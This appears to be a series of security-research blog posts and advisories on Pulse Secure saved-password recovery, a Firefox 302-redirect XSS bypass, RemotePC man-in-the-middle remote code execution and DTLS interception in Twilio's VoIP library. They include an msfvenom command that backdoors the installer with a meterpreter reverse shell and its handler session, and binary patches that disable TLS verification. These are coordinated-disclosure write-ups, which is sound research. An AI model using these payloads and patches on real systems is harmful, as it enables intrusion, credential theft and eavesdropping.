By tracing calls to CryptProtectData, I came upon the function below (variables renamed for readability). We can see that it receives the user's password to save and builds a DATA_BLOB structure for the entropy parameter.

Building pOptionalEntropy DATA_BLOB is performed in the function below. We can see that it sets the length (cbData) to 0x10 and makes pbData point to a hardcoded address in the binary:

Data representation sucks in Ghidra, so let's switch to Radare2:

[0x10053630]> s 0x10089f14

[0x10089f14]> px

- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF

0x10089f14  7b4c 6492 b771 64bf 81ab 80ef 044f 01ce  {Ld..qd......O..

The entropy value is set to 7B4C6492B77164BF81AB80EF044F01CE, we confirmed it by loading it with DataProtectionDecryptor.exe:

What's really interesting here is that the DPAPI key is stored in *C:\Windows\Sysnative\Microsoft\Protect\S-1-5-18\User\0AB0296F-01B7-4BC3-90A2-7CBB48201253*. Looking at the SID value (S-1-5-18), we know the key belong to Local System, which makes sense given that the Pulse Secure service runs as SYSTEM. This means we cannot recover the plaintext password unless we elevate our privileges first.

Recommendations

We recommend you to upgrade your Pulse Secure Connect clients to the latest versions: 9.1R4 and 9.0R5. If you don't want to give your users the ability to save credentials, you can either disable that option via Pulse Policy or rely on machine authentication by using machine certificates rather than passwords.

Conclusion

This whole thing is a really good opportunity to reflect on what constitutes a security vulnerability, and what should be considered when making risk assessments. Should the ability to recover the plaintext password of a user be considered a security issue when it affects the exact feature that is expected to do that ? What if the password is actually the domain password ? How do we properly balance between security and usability when choosing whether end users have the ability to save their credentials or not ?

Yes, other ways to abuse Pulse Secure client in order to gain access to the plaintext password still exists. A malicious process could attach to Pulse.exe to get the plaintext when entered by the user on first use, or a keylogger could simply get the user's password when the victim is typing it. However, attaching with a debugger on a live production machine should make way more noise than dumping a single registry value and calling a DPAPI function, at least in companies with mature security controls.

Answers to these open questions are left as an exercise to the reader. In the end, each company will need to assess risk based on their own threat model, there's no easy answer. At least this time, it won't be as easy as reading a registry value.

Coordinated Disclosure Timeline

**February 22, 2019** - Report sent to Pulse Secure PSIRT.
**February 23, 2019** - PSIRT acknowledge reception of our report.
**March 1, 2019** - PSIRT indicates they have involved Pulse Secure development team and are evaluating.
**March 13, 2019** - PSIRT indicates development team is still working with PSIRT on this.
**May 18, 2019** - PSIRT requests more time so they can push the fix with their next engineering release in Q3 2019. We accept.
**May 20, 2019** - PSIRT indicates tentative date for release is end of July.
**July 8, 2019** - PSIRT indicates that current plan is to merge the fix in version 9.1R3, no ETA.
**August 23, 2019** - PSIRT indicates that issue is fixed in version 9.1R3.
**October 15, 2019** - We ask for a status update, no answer. We check if released version 9.1R3 is still affected. It is.
**November 4, 2019** - We ask for a status update, no answer.
**December 11, 2019** - We ask for a status update, no answer.
**February 2, 2020** - PSIRT informs us that the reported issue is now fixed in 9.1R4 and 9.0R5 PCS version.
**February 13, 2020** - PSIRT provides reserved CVE identifier: CVE-2020-8956
**October 27, 2020** - CVE-2020-8956 details are published.
**October 27, 2020** - Our customer confirms roll out of updated version. We release this blog post.

quentin Mon, 10/05/2020 - 14:50

Forcing Firefox to Execute XSS Payloads during 302 Redirects

quentin — Wed, 30 Sep 2020 12:49:57 +0000

Forcing Firefox to Execute XSS Payloads during 302 Redirects

Initial Discovery

During a recent engagement I identified an open redirect where a GET parameter would be reflected as-is in the HTTP response Location header without any kind of sanitization. Something similar to this:

Trying multiple kinds of injections, I discovered that newlines and carriage returns characters could be inserted, leading to header injection:

Even more interesting, we can inject arbitrary content in the HTTP response body by inserting two newline characters, leading to reflected cross-site scripting:

However, modern browsers (Google Chrome, Internet Explorer, Firefox) do not interpret the HTTP response body if the HTTP response status code is a 302, so our cross-site scripting payload is useless. Time to find a bypass !

Prior Work

By searching for prior bypasses, I stumbled upon this blog post where Fortinet describes how they bypassed the execution block by setting the Location header to a URI starting with 'mailto://'. Bugcrowd forums also provides some insight into bypasses that may have worked in the past. And this excellent HackerOne report on XSS affecting Twitter, where they used a Location header starting with '//x:1/' definitely sent me in the right direction.

Let's Fuzz

Given that none of the already documented bypasses worked, I decided to write a dumb fuzzer that would generate a list of URLs and open them with xdg-open. To do so, I downloaded the IANA URI schemes list and generated a list of URLs following this format: http://acme.corp/?redir=[URI_SCHEME]://gremwell.com%0A%0A[XSS_PAYLOAD]. Google Chrome and Firefox were tested in this way, Internet Explorer was also tested but with a PowerShell script rather than simply calling xdg-open.

I then spent quite some time closing browser tabs, hoping to be greeted with an alert box :)

A Valid Candidate

Two candidates out of the full IANA URI scheme list worked, and only on Firefox:

ws:// (WebSocket)
wss:// (Secure WebSocket).

It simply looks like this:

Opening the link in the latest version of Firefox (version 81 at the time of writing) and we see we are executing JavaScript under the right domain, without being redirected:

Proof-of-Concept

If you want to test this at home, you can download the 302_server script. It will launch a Python3 HTTP server on port 8000, mimicking the behavior I just described.

Update - October 1st 2020

Sergey Bobrov just pointed out that using an empty Location header will work to force Google Chrome to execute the payload. Nice find !

Update - October 2nd 2020

Maxim Rupp just pointed out that using an resource:// URI in the Location header will work to force Firefox 81 to execute the payload. Nice find !

quentin Wed, 09/30/2020 - 14:49

Remote Command Execution on RemotePC for Windows

quentin — Fri, 08 May 2020 08:38:49 +0000

Remote Command Execution on RemotePC for Windows

Introduction

During an audit we executed in 2019, we had to test a deployment where a third party company had to remotely connect to special purpose computers to perform maintenance. At the time, they had chosen a software called RemotePC to remotely login into these special purpose computers rather than relying on RDP. RemotePC is a a remote desktop software that lets a support agent remotely connect to a computer and take control of keyboard, mouse, and screen. It's quite similar to TeamViewer.

Transport security fell into the scope of this specific audit so we covered all communication channels established by RemotePC clients. Turns out RemotePC Windows client does not properly validate SSL certificates, allowing a man-in-the-middle attacker to:

capture credentials when user logs in with remotepc account
observe the remotely accessed desktop, inject keystrokes and mouse events
hijack the auto-update mechanism in order to get the RemotePC client to execute an arbitrary executable, leading to remote command execution

All versions prior to 7.6.26-28/04/20 are vulnerable. We strongly recommend anyone using RemotePC to update to the latest version available at [https://www.remotepc.com/download.htm](https://www.remotepc.com/download.htm)

Testing RemotePC Client SSL/TLS

We checked if the client is resilient to man-in-the-middle attacks by intercepting traffic going to remotepc.com hosts and redirecting it to a running instance of qsslcaudit. The excerpt below is representative of all outgoing connections established by the RemotePC client. Any certificate will be accepted, regardless of the host being accessed (www1.remotepc.com, web1.remotepc.com, version.remotepc.com, desktop.remotepc.com, broker.remotepc.com, ...).

sudo qsslcaudit --user-cert /home/quentin/certs/untrusted5.gremwell.com.pem --user-key /home/quentin/certs/untrusted5.gremwell.com.key --server https://broker13.remotepc.com -l 192.168.1.29 -p 443

preparing selected tests...

    skipping test: certificate trust test with user-supplied common name signed by user-supplied CA certificate

    skipping test: certificate trust test with www.example.com common name signed by user-supplied CA certificate

SSL library used: OpenSSL 1.0.2i  22 Sep 2016

running test #1: certificate trust test with user-supplied certificate

listening on 192.168.1.29:443

connection from: 192.168.1.13:50519

SSL connection established

received data: GET /proxy/remotehosts HTTP/1.1

User-Agent: websocket-sharp/1.0

Host: broker13.remotepc.com

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Key: zvRgQ97fyTccE5daHsvmqQ==

Sec-WebSocket-Version: 13

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #2: certificate trust test with self-signed certificate for user-supplied common name

listening on 192.168.1.29:443

connection from: 192.168.1.13:50520

SSL connection established

received data: GET /proxy/remotehosts HTTP/1.1

User-Agent: websocket-sharp/1.0

Host: broker13.remotepc.com

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Key: zqzl1xxph4Ff7VqcQ7FU2g==

Sec-WebSocket-Version: 13

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #3: certificate trust test with self-signed certificate for www.example.com

listening on 192.168.1.29:443

connection from: 192.168.1.13:50521

SSL connection established

received data: GET /proxy/remotehosts HTTP/1.1

User-Agent: websocket-sharp/1.0

Host: broker13.remotepc.com

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Key: yz8c8xsrLCgQ8VWSpbybbg==

Sec-WebSocket-Version: 13

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #4: certificate trust test with user-supplied common name signed by user-supplied certificate

listening on 192.168.1.29:443

connection from: 192.168.1.13:50523

SSL connection established

received data: GET /proxy/remotehosts HTTP/1.1

User-Agent: websocket-sharp/1.0

Host: broker13.remotepc.com

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Key: W46qIet5+wJvv+C6VDETDA==

Sec-WebSocket-Version: 13

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

running test #5: certificate trust test with www.example.com common name signed by user-supplied certificate

listening on 192.168.1.29:443

connection from: 192.168.1.13:50524

SSL connection established

received data: GET /proxy/remotehosts HTTP/1.1

User-Agent: websocket-sharp/1.0

Host: broker13.remotepc.com

Upgrade: websocket

Connection: Upgrade

Sec-WebSocket-Key: ztV0ldUHwmAmfKFgsWKdcA==

Sec-WebSocket-Version: 13

disconnected

report:

test failed, client accepted fake certificate, data was intercepted

test finished

tests results summary table:

+----+------------------------------------+------------+-----------------------------+

| ## |             Test Name              |   Result   |           Comment           |

+----+------------------------------------+------------+-----------------------------+

|  1 | custom certificate trust           |   FAILED   | mitm possible               |

|  2 | self-signed certificate for target |   FAILED   | mitm possible               |

|    |  domain trust                      |            |                             |

|  3 | self-signed certificate for invali |   FAILED   | mitm possible               |

|    | d domain trust                     |            |                             |

|  4 | custom certificate for target doma |   FAILED   | mitm possible               |

|    | in trust                           |            |                             |

|  5 | custom certificate for invalid dom |   FAILED   | mitm possible               |

|    | ain trust                          |            |                             |

+----+------------------------------------+------------+-----------------------------+

most likely all connections were established by the same client, some collected details:

source host: 192.168.1.13

protocol: TLSv1.2

accepted ciphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_DHE_RSA_WITH_AES_256_GCM_SHA384:TLS_DHE_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA256:TLS_RSA_WITH_AES_128_CBC_SHA256:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_DHE_DSS_WITH_AES_256_CBC_SHA256:TLS_DHE_DSS_WITH_AES_128_CBC_SHA256:TLS_DHE_DSS_WITH_AES_256_CBC_SHA:TLS_DHE_DSS_WITH_AES_128_CBC_SHA:TLS_RSA_WITH_3DES_EDE_CBC_SHA:TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA:TLS_RSA_WITH_RC4_128_SHA:TLS_RSA_WITH_RC4_128_MD5

SNI: broker13.remotepc.com

qsslcaudit version: 0.4.0

Turning Unsafe Update into RCE

To fully demonstrate the impact, we used the update process which is also vulnerable to man-in-the-middle attacks.

When the RemotePC service starts (the service is set to auto-start on boot), the following request is sent to www.remotepc.com:

GET /rpcnew/getOSVersion?os=win-new HTTP/1.1

Host: www.remotepc.com

Connection: close

The server answers with the latest available version of RemotePC:

HTTP/1.1 200

Server: nginx

Date: Tue, 13 Aug 2019 13:53:37 GMT

Content-Type: text/plain;charset=ISO-8859-1

Content-Length: 57

Connection: close

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: 0

Strict-Transport-Security: max-age=31536000 ; includeSubDomains

X-Frame-Options: DENY

X-FRAME-OPTIONS: SAMEORIGIN

Set-Cookie: JSESSIONID=F94CB3FAB5D5852E6EC4F306BBCB4B02.tomcat9; Path=/rpcnew; Secure; HttpOnly

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

Access-Control-Allow-Credentials: true

Strict-Transport-Security: max-age=15768000

{releaseDate=2019-06-01 00:08:30.0, versionNumber=7.6.12}

By intercepting the response and modifying the "versionNumber" value, we can make the following popup show up:

HTTP/1.1 200

Server: nginx

Date: Tue, 13 Aug 2019 13:53:37 GMT

Content-Type: text/plain;charset=ISO-8859-1

Content-Length: 56

Connection: close

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: 0

Strict-Transport-Security: max-age=31536000 ; includeSubDomains

X-Frame-Options: DENY

X-FRAME-OPTIONS: SAMEORIGIN

Set-Cookie: JSESSIONID=F94CB3FAB5D5852E6EC4F306BBCB4B02.tomcat9; Path=/rpcnew; Secure; HttpOnly

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

X-Content-Type-Options: nosniff

Access-Control-Allow-Credentials: true

Strict-Transport-Security: max-age=15768000

{releaseDate=2019-08-05 00:08:30.0, versionNumber=7.7.3}

When the user clicks on “here”, the application downloads the latest version from desktop.remotepc.com:

GET /downloads/RemotePC.exe HTTP/1.1

Host: desktop.remotepc.com

Connection: close

We therefore downloaded the legitimate version and backdoored it with Metasploit's meterpreter:

./msfvenom -a x86 --platform windows -x /tmp/downloads/RemotePC.exe -k

-p windows/meterpreter/reverse_tcp lhost=192.168.1.29 lport=4444 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o RemotePCbd.exe

Found 1 compatible encoders

Attempting to encode payload with 3 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 368 (iteration=0)

x86/shikata_ga_nai succeeded with size 395 (iteration=1)

x86/shikata_ga_nai succeeded with size 422 (iteration=2)

x86/shikata_ga_nai chosen with final size 422

Payload size: 422 bytes

Final size of exe file: 400896 bytes

Saved as: RemotePCbd.exe

We copied it to a rogue server, acting as the man-in-the-middle attacker:

mv RemotePCbd.exe /tmp/downloads/RemotePC.exe

When we serve the malicious executable while intercepting the RemotePC client communications, we obtain a reverse shell on the victim's computer:

./msfconsole -q

[*] Starting persistent handler(s)...

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set LPORT 4444

LPORT => 4444

msf5 exploit(multi/handler) > set LHOST 192.168.1.29

LHOST => 192.168.1.29

msf5 exploit(multi/handler) > set ExitOnSession false

ExitOnSession => false

msf5 exploit(multi/handler) > run -j

[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.29:4444

[*] Sending stage (179779 bytes) to 192.168.1.13

[*] Meterpreter session 3 opened (192.168.1.29:4444 -> 192.168.1.13:50610) at 2019-08-13 16:11:12 +0200

msf5 exploit(multi/handler) > sessions -i 3

[*] Starting interaction with 3...

meterpreter > sysinfo

Computer        : WIN7TARGET

OS              : Windows 7 (Build 7601, Service Pack 1).

Architecture    : x64

System Language : en_US

Domain          : WORKGROUP

Logged On Users : 2

Meterpreter     : x86/windows

Snooping on Remote Desktop

We did not investigate how to inject arbitrary keystrokes and mouse events within the established session, but we are pretty confident it can be done with little reverse engineering effort. Observing remotely accessed desktop can be done by carving MPEG frames out of the decapsulated stream.

Conclusion

As explained in the introduction, all versions prior to 7.6.26-28/04/20 are vulnerable. We strongly recommend anyone using RemotePC to update to the latest version available at https://www.remotepc.com/download.htm

Watch out for the exact release date because RemotePC published different releases with the same version number. For example, version 7.6.26 was release 6 times:

7.6.26 04/28/2020
7.6.26 04/22/2020
7.6.26 04/15/2020
7.6.26 04/08/2020
7.6.26 04/03/2020
7.6.26 03/30/2020

We also recommend you not to trust any release note published by Remote PC :)

Coordinated Disclosure Timeline

**02/09/2019**: Escalated to the vendor via support ticket.
**05/02/2020**: Nothing happened for 5 months. We re-notify vendor, this time enforcing 90 days disclosure policy.
**06/02/2020**: Checked latest version (7.6.23), still affected by vulnerability
**10/02/2020**: RemotePC support says "We have forwarded this to our back-end technical team for further analysis. We will contact you with an update as soon as we have one."
**19/02/2020**: RemotePC support says "Our team is working on this. We will keep you posted after we get an update.""
**20/02/2020**: RemotePC says "Our security team is reviewing the points and we will update soon."
**17/04/2020**: RemotePC states that they fixed the issue in latest release (7.6.26-15/04/20). Turns out it's not.
**22/04/2020**: RemotePC states that they fixed the issue in latest release (7.6.26-22/04/20). Turns out it's not.
**04/05/2020**: RemotePC states that they fixed the issue in latest release (7.6.26-28/04/20). Turns out it is !
**05/05/2020**: End of 90 days.
**06/05/2020**: Advisory release.

quentin Fri, 05/08/2020 - 10:38

Understanding DTLS Usage in VoIP Communications

pavel — Thu, 26 Mar 2020 16:32:53 +0000

Understanding DTLS Usage in VoIP Communications

Introduction
TL;DR
Twilio Platform
Wire

Introduction

When working on a mobile application security assessment we noted an unusual traffic flow. This was a DTLS handshake coming from a remote server to the mobile application listener. As we always pay close attention to transport security implementation in the applications we test, we were about to verify if certificates are properly validated in the observed case. However, it was not that simple.

The desire to test client-side TLS certificates validation led us to: development of custom tools, interception and digging through various types of network traffic, reading through RFC documents and even patching of binary files. Now we understand that we were facing DTLS handshake initiated to derive keys to secure media communications between parties, following WebRTC recommendations.

In this article we describe what we did, how we did that and what obstacles we had to overcome. This exercise helped us to formulate a methodology to test some aspects of WebRTC-capable applications from a security standpoint.

TL;DR

For readers who want a short summary of this article we suggest to jump to the conclusion section. In this case the most valuable part is the description itself as it provides a methodology applicable to similar cases. We also developed some tools which helped us during this assessment. However, they can only be applied to perform similar exercises and quite useless as a standalone software.

Twilio Platform

Preparing Custom Setup

We noted that the application we were initially testing uses Twilio platform to make voice calls. The Android build uses Twilio's Java module and corresponding native library. In order to avoid hitting our customer's infrastructure while performing our tests we decided to deploy our own solution. This way we can minimise the study surface and have full control over the software behaviour.

Twilio has great introductory articles: getting started for voice applications, getting started with Android client. They also allow to create a trial account for ~€10 which one can use to make voice calls between test applications. After completing "Getting started" guides your Twilio account will be properly configured, various tokens created, Google Firebase messaging configured. You will also have a working Android mobile application, a web server to route calls and to feed Twilio with your tokens. Same way you can get an iOS application, but in this article we will cover Android only.

Note that we were not assessing the whole Twilio solution, we were just interested in voice calls implementation. In that particular case it was enough to get an example Android application configured to use in our setup and install it on two devices. We used the suggested Android quickstart example with the following minor updates:

TWILIO_ACCESS_TOKEN_SERVER_URL pointed to our web server (which was based on another example.
identy string was set to different values on each device we used for testing;
app/google-services.json file was updated after integration with Google Firebase service;
we enabled debug logging by adding Voice.setLogLevel(LogLevel.DEBUG); call to onCreate() method of app/src/main/java/com/twilio/voice/quickstart/VoiceActivity.java file.

As we had two mobile applications able to setup voice calls between each other, we started to investigate the network communications they produce.

Traffic Interception and Analysis

Information Gathering

We configured one of the test devices to be connected via WiFi access point setup on our test laptop. This way we observed all communications made by Twilio example application when issuing a phone call.

The application was contacting the following domains:

eventgw.twilio.com
ers.twilio.com
our test web server holding Twilio tokens
global.stun.twilio.com
chunderm.gll.twilio.com

We noted that traffic towards eventgw.twilio.com, ers.twilio.com and access tokens server follows Android proxy rules. Thus, we observed the corresponding communication using our Burp proxy instance. Its certificate authority was installed on our test device in advance.

ers.twilio.com was accessed using HTTPS to check and update Twilio registration token. The application informed Twilio about events happening on the device by sending HTTPS POST requests to ers.twilio.com server. There was no interesting data in these communication channels.

TLS-protected packets were exchanged with chunderm.gll.twilio.com server over TCP/443. This communication ignored global proxy settings.

Then the application sent STUN binding request to global.stun.twilio.com over UDP/3478.

After more exchanges with chunderm.gll.twilio.com the application started UDP STUN communication with a server in 3.122.181.0/24 subnet (approximately). The server IP address and port were different each time we started a call. After STUN registration and binding requests **in the same channel** the application received **incoming** DTLS Client Hello message. You can see this on the following screenshot from Wireshark capture:

DTLS handshake was quickly established, no data packets were sent and traffic with RTP data continued to flow in the very same UDP channel.

Our objective was to verify the proper validation of the server's certificate by the client side (Twilio server in this case). In this scenario the role of the server was played by our mobile client.

Searching the Internet with traces we already collected revealed that what we observed is DTLS-SRTP protocol, defined in RFC5734. The idea here is to use DTLS protocol to derive key material to secure RTP data. DTLS is already defined and implemented, it authorises the remote party and secures sensitive data. When using key exchange algorithms based on elliptic curves, it works fast even on low powered devices. The corresponding packet exchange is described in RFC5764 as follows:

Client                                               Server

ClientHello + use_srtp       -------->

                                     ServerHello + use_srtp

                                               Certificate*

                                         ServerKeyExchange*

                                        CertificateRequest*

                             <--------      ServerHelloDone

Certificate*

ClientKeyExchange

CertificateVerify*

[ChangeCipherSpec]

Finished                     -------->

                                         [ChangeCipherSpec]

                             <--------             Finished

SRTP packets                 <------->      SRTP packets

The SRTP keys are derived with help of a specific DTLS protocol "use_srtp" extension. The details here are not important to us, except that these keys stay inside DTLS library implementation and not transferred as Application Data. For this reason we will need a specific software to terminate such connections.

The security outcome here is that if DTLS certificates are not properly verified then a suitably positioned network-based attacker can obtain keys for encrypted media traffic.

The important remaining question is how such certificates can be verified? There is no particular "domain name" here. The client needs to rely on something else that we do not see yet. RFC5764 mentions this in the following passage:

A DTLS-SRTP session may be indicated by an external signaling

protocol like SIP.  When the signaling exchange is integrity-

protected (e.g., when SIP Identity protection via digital signatures

is used), DTLS-SRTP can leverage this integrity guarantee to provide

complete security of the media stream.  A description of how to

indicate DTLS-SRTP sessions in SIP and SDP [RFC4566], and how to

authenticate the endpoints using fingerprints can be found in

[RFC5763].

Obscure, as it often happens with such documents. But it gives us a hint that we have to look into other channels. And we have such a candidate: chunderm.gll.twilio.com. Nevertheless, we have to redirect DTLS handshake to our DTLS server keeping other protocols untouched. Let's solve this problem first.

DTLS Demultiplexing

From our observations and RFC5764 specification, DTLS-SRTP traffic is a mix of STUN, DTLS and RTP protocols, all in the same UDP channel. Thus, we can not just forward this traffic to some listener and handle only DTLS packets. This will break the application logic.

We need a proxy tool which normally just redirects traffic between two endpoints. When it catches DTLS packets it forwards them to our fake listener. The responses have to be delivered back to their intended destination. Thus, the remote side and the mobile application will exchange STUN and RTP packets as usual but DTLS channel will be handled by us.

Determining the packet type is simple, it is described in RFC5764:

            +----------------+

            | 127 < B < 192 -|--> forward to RTP

            |                |

packet -->  |  19 < B < 64  -|--> forward to DTLS

            |                |

            |       B < 2   -|--> forward to STUN

            +----------------+

The following describes the traffic flows our proxy has to handle:

            +---------------+

            |   demux tool  |

            |               |

mobile <--> +- STUN/RTP --*-+ <-->   original

 app        |             / |      destination

            |       DTLS |  |

            |            +--+ <-->  fake DTLS

            |               |        server

            +---------------+

This was implemented in quick-and-dirty style using Go and can be grabbed from this repo.

This proxy requires the following parameters:

Socket to listen on. This can be anything, we just redirect traffic to it using firewall.
Fake DTLS server address. We fully control this parameter.
Original destination. Well, here we have a problem. In our case it is different each time, so we have to figure out this parameter in runtime. This is covered in the next section.

Intercepting Traffic to chunderm.gll.twilio.com

From prior observations it became clear that essential information is transmitted inside TLS-protected data with chunderm.gll.twilio.com server (port 443). Unfortunately for us, the application properly verified TLS certificates. We were not able to bypass it with Xposed modules or Frida with objection framework.

The application uses libtwilio_voice_android_so.so native library which includes (but not linked to) resiprocate and boringssl sources. Thus, we can not just handle calls with Frida. In this situation we had to go the binary patching way.

We used Ghidra project for decompiling and patching. Binary patching is not well supported by Ghidra (yet?) but it is possible to overcome it with SavePatch external script.

We patched calls (five in total) to SSL_CTX_set_verify function (address 0x0026786c) which sets certificate verification mode in its second argument. To avoid verification this parameter has to be zero. You can see this in the following illustrations.

SSL_CTX_set_verify, the entry #1, original:

SSL_CTX_set_verify, the entry #1, patched

SSL_CTX_set_verify, the entry #2, original

SSL_CTX_set_verify, the entry #2, patched

SSL_CTX_set_verify, the entry #3, original

SSL_CTX_set_verify, the entry #3, patched

SSL_CTX_set_verify, the entry #4, original

SSL_CTX_set_verify, the entry #4, patched

SSL_CTX_set_verify, the entry #5, original

SSL_CTX_set_verify, the entry #5, patched

SSL_CTX_set_verify (offset 0x0016163c) also sets a callback which always has to return 1 as a result of successful verification.

Verification callback, original:

Verification callback, patched:

Even if verification succeeds, the library validates if domain name matches the expected one.

Common name verification, decompiled:

Common name verification, source code:

Common name verification, patched:

Common name verification, patched, decompiled:

On top of that, the library checks if common name ends with .twilio.com. It is of course an addition made to the resiprocate library. We left it untouched and just took this behaviour into account when configuring intercepting proxies.

Parent domain validation:

The final difference between the original file and the patched version:

$ diff <(xxd libtwilio_voice_android_so.so) <(xxd libtwilio_voice_android_so.so.patched)

85248c85248

< 0014cff0: 7a44 0121 0af1 3afc 6668 19a8 4946 7ff7  zD.!..:.fh..IF..

---

> 0014cff0: 7a44 0021 0af1 3afc 6668 19a8 4946 7ff7  zD.!..:.fh..IF..

85252c85252

< 0014d030: a068 dff8 3426 7a44 0121 0af1 17fc a668  .h..4&zD.!.....h

---

> 0014d030: a068 dff8 3426 7a44 0021 0af1 17fc a668  .h..4&zD.!.....h

86212c86212

< 00150c30: dff8 042a 4046 0121 7a44 06f1 17fe 0af1  ...*@F.!zD......

---

> 00150c30: dff8 042a 4046 0021 7a44 06f1 17fe 0af1  ...*@F.!zD......

86401c86401

< 00151800: 0830 1a90 4846 17f7 a6e9 5846 0df5 657d  .0..HF....XF..e}

---

> 00151800: 0830 1a90 4846 17f7 a6e9 0120 0df5 657d  .0..HF..... ..e}

122442c122442

< 001de490: c8f8 2c01 0968 0029 00f0 bc80 bb48 52ad  ..,..h.).....HR.

---

> 001de490: c8f8 2c01 0968 0229 40f0 bc80 bb48 52ad  ..,..h.)@....HR.

186554c186554

< 002d8b90: 334a 2046 0121 7a44 7ef7 68fe 2046 0421  3J F.!zD~.h. F.!

---

> 002d8b90: 334a 2046 0021 7a44 7ef7 68fe 2046 0421  3J F.!zD~.h. F.!

187441,187442c187441,187442

< 002dc300: edfb 38b3 95f8 6100 0321 0022 0028 08bf  ..8...a..!.".(..

< 002dc310: 0121 2046 7bf7 aafa 1349 2046 0022 7944  .! F{....I F."yD

---

> 002dc300: edfb 38b3 95f8 6100 0021 0022 0028 08bf  ..8...a..!.".(..

> 002dc310: 0021 2046 7bf7 aafa 1349 2046 0022 7944  .! F{....I F."yD

This was still not enough. The library limits the list of trusted certificate authorities to the following list:

subject= /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Global Root G2

subject= /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance EV Root CA

subject= /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Global Root CA

subject= /C=US/O=Amazon/CN=Amazon Root CA 4

subject= /C=US/O=Amazon/CN=Amazon Root CA 3

subject= /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Assured ID Root G3

subject= /C=US/O=Starfield Technologies, Inc./OU=Starfield Class 2 Certification Authority

subject= /C=US/O=thawte, Inc./OU=Certification Services Division/OU=(c) 2006 thawte, Inc. - For authorized use only/CN=thawte Primary Root CA

subject= /C=US/ST=Arizona/L=Scottsdale/O=Starfield Technologies, Inc./CN=Starfield Services Root Certificate Authority - G2

subject= /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Global Root G3

subject= /C=US/O=thawte, Inc./OU=(c) 2007 thawte, Inc. - For authorized use only/CN=thawte Primary Root CA - G2

To overcome this we created our own CA which, when formatted as PEM, matches the length of one of the listed above.

We updated Amazon's root CA:

$ openssl x509 -text -noout -in twilio_cert_chosen.txt

Certificate:

    Data:

        Version: 3 (0x2)

        Serial Number:

            06:6c:9f:d2:96:35:86:9f:0a:0f:e5:86:78:f8:5b:26:bb:8a:37

        Signature Algorithm: sha384WithRSAEncryption

        Issuer: C = US, O = Amazon, CN = Amazon Root CA 2

        Validity

            Not Before: May 26 00:00:00 2015 GMT

            Not After : May 26 00:00:00 2040 GMT

        Subject: C = US, O = Amazon, CN = Amazon Root CA 2

Our certificate:

$ openssl x509 -text -noout -in ca_test1.crt

Certificate:

    Data:

        Version: 3 (0x2)

        Serial Number: 5957144336496509465 (0x52ac0736349ac219)

        Signature Algorithm: sha256WithRSAEncryption

        Issuer: O = xxxxxxx, CN = Gremwell

        Validity

            Not Before: Mar 13 15:45:00 2020 GMT

            Not After : Mar 13 15:45:00 2030 GMT

        Subject: O = xxxxxxx, CN = Gremwell

        Subject Public Key Info:

We used organization field to make certificates sizes match. Then we just replaced one PEM string with another in the binary.

Uploading the patched library to the mobile device:

$ adb push libtwilio_voice_android_so.so.patched_cert /sdcard/

Altering the existing library on the device (as superuser):

# cp /sdcard/libtwilio_voice_android_so.so.patched_cert /data/app/com.twilio.voice.quickstart-1/lib/arm/libtwilio_voice_android_so.so

# cp /sdcard/libtwilio_voice_android_so.so.patched_cert /data/data/com.twilio.voice.quickstart/app_lib/libtwilio_voice_android_so.so

With such alterations we were able to intercept the data transmitted between the mobile client and chunderm.gll.twilio.com.

Signalling Traffic

We are about to intercept the traffic flow between our test mobile application and chunderm.gll.twilio.com host. As chunderm.gll.twilio.com is load-balanced and deployed on Amazon services, it is better to fix its IP address to a single one. The easiest way to do this is to add the corresponding entry to /etc/hosts and to verify that the test device is using this configuration:

35.157.205.11 chunderm.gll.twilio.com

Traffic redirection can be configured with iptables:

sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -s 192.168.12.0/24 -d 35.157.205.11 -i wlan0 -j DNAT --to-destination 127.0.0.1:9090

When using DNAT to localhost do not forget to enable local routing:

sudo sysctl -w net.ipv4.conf.all.route_localnet=1

